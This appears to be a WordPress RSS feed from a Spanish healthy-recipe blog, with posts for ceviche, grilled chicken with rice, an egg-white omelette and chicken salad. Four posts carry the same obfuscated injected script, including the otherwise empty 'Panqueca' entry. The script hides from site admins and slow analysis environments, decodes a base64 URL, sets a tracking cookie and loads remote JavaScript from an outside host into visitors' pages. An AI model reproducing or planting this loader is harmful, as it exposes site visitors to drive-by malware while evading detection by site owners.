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	<title>Luis Pérez &#8211; Estando En Forma</title>
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		<title>Panqueca</title>
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		<pubDate>Wed, 01 Oct 2025 14:45:31 +0000</pubDate>
		<dc:creator><![CDATA[Luis Pérez]]></dc:creator>
				<category><![CDATA[Recetas Saludables]]></category>

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		<description><![CDATA[<p>&#160; &#160;</p>
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<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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		<title>Ceviche</title>
		<link>http://estandoenforma.net/ceviche/</link>
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		<pubDate>Thu, 23 Aug 2012 15:32:06 +0000</pubDate>
		<dc:creator><![CDATA[Luis Pérez]]></dc:creator>
				<category><![CDATA[Recetas Saludables]]></category>

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		<description><![CDATA[<p>Acá les dejo una receta práctica para que hagan un delicioso ceviche que podrán consumir como merienda. &#160; Ingredientes: 100gr. de pescado blanco. ¼ de cebolla morada. 1 ají dulce. ½ ají Amarillo. 2 limones. ¼ cucharadita de pasta jengibre. ¼ cucharadita de pasta de ajo. Cilantro. Sal. &#160; Preparación: 1.- Cortar el pescado en [&#8230;]</p>
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]]></description>
				<content:encoded><![CDATA[<p>Acá les dejo una receta práctica para que hagan un delicioso ceviche que podrán consumir como merienda.</p>
<p>&nbsp;</p>
<p><strong>Ingredientes:</strong></p>
<p>100gr. de pescado blanco.</p>
<p>¼ de cebolla morada.</p>
<p>1 ají dulce.</p>
<p>½ ají Amarillo.</p>
<p>2 limones.</p>
<p>¼ cucharadita de pasta jengibre.</p>
<p>¼ cucharadita de pasta de ajo.</p>
<p>Cilantro.</p>
<p>Sal.</p>
<p>&nbsp;</p>
<p><strong>Preparación:</strong></p>
<p>1.- Cortar el pescado en cubos.</p>
<p>2.- Cortar la cebolla morada en juliana.</p>
<p>3.- Cortar el ají dulce y el ají amarillo en brunoise</p>
<p>4.- Colocar los ingredientes en un frasco esterilizado o en un envase plástico con tapa.</p>
<p>5.- Agregar la pasta de ajo y la de jengibre.</p>
<p>6.- Exprimir el zumo de los 2 limones en el envase.</p>
<p>7.- Incorporamos la sal al gusto y mezclamos.</p>
<p>8.- Se tapa el envase y dejamos reposar en el refrigerador durante 20 min y ya podemos disfrutar del ceviche.</p>
<p>&nbsp;</p>
<p><em>Puede refrigerarse y mantenerse durante 2 días como máximo.</em></p>
<p><em>Se puede acompañar con pan sueco.</em></p>
<p>&nbsp;</p>
<p><a href="http://estandoenforma.net/wp-content/uploads/2012/08/cevi.png"><img class="wp-image-465 aligncenter" src="http://estandoenforma.net/wp-content/uploads/2012/08/cevi-261x300.png" alt="" width="261" height="300" srcset="http://estandoenforma.net/wp-content/uploads/2012/08/cevi-261x300.png 261w, http://estandoenforma.net/wp-content/uploads/2012/08/cevi.png 509w" sizes="(max-width: 261px) 100vw, 261px" /></a></p>
<p style="text-align: center">Resultado</p>
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		<title>Pollo a la plancha con arroz y vegetales</title>
		<link>http://estandoenforma.net/pollo-a-la-plancha-con-arroz-y-vegetales/</link>
		<comments>http://estandoenforma.net/pollo-a-la-plancha-con-arroz-y-vegetales/#respond</comments>
		<pubDate>Wed, 22 Aug 2012 00:30:46 +0000</pubDate>
		<dc:creator><![CDATA[Luis Pérez]]></dc:creator>
				<category><![CDATA[Recetas Saludables]]></category>
		<category><![CDATA[arroz]]></category>
		<category><![CDATA[Pollo a la plancha]]></category>
		<category><![CDATA[vegetales]]></category>

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		<description><![CDATA[<p>Hoy les dejo una receta muy sencilla para que la prepares en tu almuerzo. Ya sabes que si quieres perder grasa abdominal no debes consumir el arroz, debes limitarte a consumir los vegetales (a excepción de la zanahoria) junto con tu fuente de proteínas que en este caso es el pollo (hago esta acotación por [&#8230;]</p>
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]]></description>
				<content:encoded><![CDATA[<p>Hoy les dejo una receta muy sencilla para que la prepares en tu almuerzo. Ya sabes que si quieres perder grasa abdominal no debes consumir el arroz, debes limitarte a consumir los vegetales (a excepción de la zanahoria) junto con tu fuente de proteínas que en este caso es el pollo (hago esta acotación por si quieres preparar esta receta para la cena).</p>
<p>&nbsp;</p>
<p><strong>Ingredientes:</strong></p>
<p>1  pechuga de pollo</p>
<p>½ taza de arroz integral (el arroz debe estar cocido)</p>
<p>25 gr. de brócoli</p>
<p>20 gr. de zanahoria</p>
<p>10 gr. de pimentón</p>
<p>10 gr. de cebolla</p>
<p>½ diente de ajo</p>
<p>2 ½ cucharadas de salsa de soya light (la normal es muy alta en sodio)</p>
<p>Sal y pimienta al gusto</p>
<p>&nbsp;</p>
<p><strong>Preparación:</strong></p>
<p>1.-  Sal pimentar el pollo y colocarlo en una plancha caliente y cocer hasta que este jugoso y bien dorado.</p>
<p>2.- Cortar la cebolla, el pimentón, la zanahoria en brunoise</p>
<p>3.- Cortar el ajo finamente.</p>
<p>4.- Cortar el brócoli  en trozos pequeños.</p>
<p>5.-  En un sartén caliente colocamos un poco de aceite de oliva, añadimos  la cebolla, el ajo y rehogamos.</p>
<p>6.- Seguimos agregando los vegetales en orden de dureza. Las zanahoria, el pimentón y el brócoli.</p>
<p>7.- Luego agregamos el arroz integral cocido y salteamos con la salsa de soya light y rectificamos sal y pimienta.</p>
<p>&nbsp;</p>
<p><strong>Nota:</strong> Para distinguir entre <strong>rehogar y sofreír</strong> nos basamos en que el rehogado es un método de cocción que se realiza a alta temperatura, sin superar los 100º C, con los ingredientes cortados pequeños y con el aceite justo y necesario para que se lubriquen. Con todo ello, y removiendo los alimentos constantemente, se consigue que el calor sea uniforme en todos los ingredientes, que se hagan por igual y que no se quemen.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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		<item>
		<title>Omelette de claras de huevo con espinaca y ricotta</title>
		<link>http://estandoenforma.net/omelette-de-claras-de-huevo-con-espinaca-y-ricotta/</link>
		<comments>http://estandoenforma.net/omelette-de-claras-de-huevo-con-espinaca-y-ricotta/#respond</comments>
		<pubDate>Mon, 13 Aug 2012 15:42:27 +0000</pubDate>
		<dc:creator><![CDATA[Luis Pérez]]></dc:creator>
				<category><![CDATA[Recetas Saludables]]></category>
		<category><![CDATA[desayuno]]></category>
		<category><![CDATA[espinacas]]></category>
		<category><![CDATA[Omelette claras de huevo]]></category>

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		<description><![CDATA[<p>Una receta ligera y con un buen aporte de proteínas para tu desayuno: &#160; Ingredientes: 4 claras de huevo 80 gr de espinacas blanqueadas 60 gr ricotta sin sal Sal y pimienta.   Preparación: 1.- Batir las claras y sal pimentar al gusto. 2.- Calentar el sartén y colocarle un poco de aceite (para que [&#8230;]</p>
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]]></description>
				<content:encoded><![CDATA[<p>Una receta ligera y con un buen aporte de proteínas para tu desayuno:</p>
<p>&nbsp;</p>
<p><strong>Ingredientes:</strong></p>
<p>4 claras de huevo</p>
<p>80 gr de espinacas blanqueadas</p>
<p>60 gr ricotta sin sal</p>
<p>Sal y pimienta.</p>
<p><strong> </strong></p>
<p><strong>Preparación:</strong></p>
<p>1.- Batir las claras y sal pimentar al gusto.</p>
<p>2.- Calentar el sartén y colocarle un poco de aceite (para que no se pegue).</p>
<p>3.- Agregar las claras, la espinaca y la ricotta.</p>
<p>&nbsp;</p>
<p><img class="aligncenter" src="http://eateng.files.wordpress.com/2008/06/asparagus-ricotta-omelete_1.jpg" alt="" width="336" height="253" /></p>
<p>&nbsp;</p>
<p><strong>Este plato tiene un aporte de aproximadamente 25gr de proteínas. Puedes acompañar tu omelette con pan Bimbo Diet que es bajo en calorías (40 cal/rebanada), una manzana verde o avena.</strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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		<item>
		<title>Ensalada de pollo</title>
		<link>http://estandoenforma.net/ensalada-de-pollo/</link>
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		<pubDate>Wed, 25 Jul 2012 04:16:33 +0000</pubDate>
		<dc:creator><![CDATA[Luis Pérez]]></dc:creator>
				<category><![CDATA[Recetas Saludables]]></category>

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		<description><![CDATA[<p>   ¿Piensas que hacer dieta es igual a comer insípido o desabrido?, pues nada que ver, puedes llevar una alimentación saludable comiendo muy a gusto y a partir de ahora les traeré una propuesta muy sana para que mejores tu alimentación.    La primera receta que les dejaré es una ensalada de pollo, muy rápida [&#8230;]</p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">   ¿Piensas que hacer dieta es igual a comer insípido o desabrido?, pues nada que ver, puedes llevar una alimentación saludable comiendo muy a gusto y a partir de ahora les traeré una propuesta muy sana para que mejores tu alimentación.</p>
<p style="text-align: justify;">   La primera receta que les dejaré es una ensalada de pollo, muy rápida y sencilla, ideal para tu cena si estás buscando mantenerte en forma:</p>
<p><strong>Ingredientes:</strong></p>
<p>1/2 pechuga de pollo</p>
<p>Romero</p>
<p>1 diente de ajo</p>
<p>5 hojas de lechuga romana</p>
<p>½ Cebolla morada o colorada</p>
<p>½ Pimentón  o  Morrón</p>
<p>3 Champiñones medianos (frescos cortados en rodajas finas)</p>
<p>Aceite de oliva</p>
<p>Vinagre de manzana</p>
<p>Un toque de mostaza Dijon</p>
<p>Sal y pimienta al gusto</p>
<p><strong> </strong></p>
<p><strong>Preparación:</strong></p>
<p>1.- picar el ajo  y el romero en hache (hache es un corte muy fino para vegetales).</p>
<p>2.-  Cortar la pechuga de pollo en tiras, sal pimentar la pechuga de pollo.</p>
<p>3.-  En un sartén colocar un toque de aceite de oliva (con esto evitamos que se pegue la pechuga a la sartén), luego el ajo y el romero. Luego poner a cocinar la pechuga.</p>
<p>4.-  Cortar los champiñones en rodajas finas.</p>
<p>5.- Lavar la lechuga con agua, limón o vinagre. Durante 5 a 10 min en remojo.</p>
<p>6.- Cortar la cebolla morada y el morrón en juliana.</p>
<p>&nbsp;</p>
<p><strong>Vinagreta:</strong></p>
<p>1 cucharadita de mostaza Dijon.</p>
<p>2 cucharaditas de vinagre de manzana.</p>
<p>1 bolsita de Splenda o Stevia.</p>
<p>Sal al gusto</p>
<p><img class="size-medium wp-image-70 aligncenter" title="Ensalada de pollo" src="http://estandoenforma.net/wp-content/uploads/2012/07/Ensalada-de-pollo-300x300.png" alt="" width="300" height="300" srcset="http://estandoenforma.net/wp-content/uploads/2012/07/Ensalada-de-pollo-300x300.png 300w, http://estandoenforma.net/wp-content/uploads/2012/07/Ensalada-de-pollo-150x150.png 150w, http://estandoenforma.net/wp-content/uploads/2012/07/Ensalada-de-pollo-75x75.png 75w, http://estandoenforma.net/wp-content/uploads/2012/07/Ensalada-de-pollo.png 587w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p style="text-align: center;">Resultado</p>
<p>Como podrán ver es una receta muy sencilla y junto con la vinagreta le da un excelente sabor, haz la prueba y comenta.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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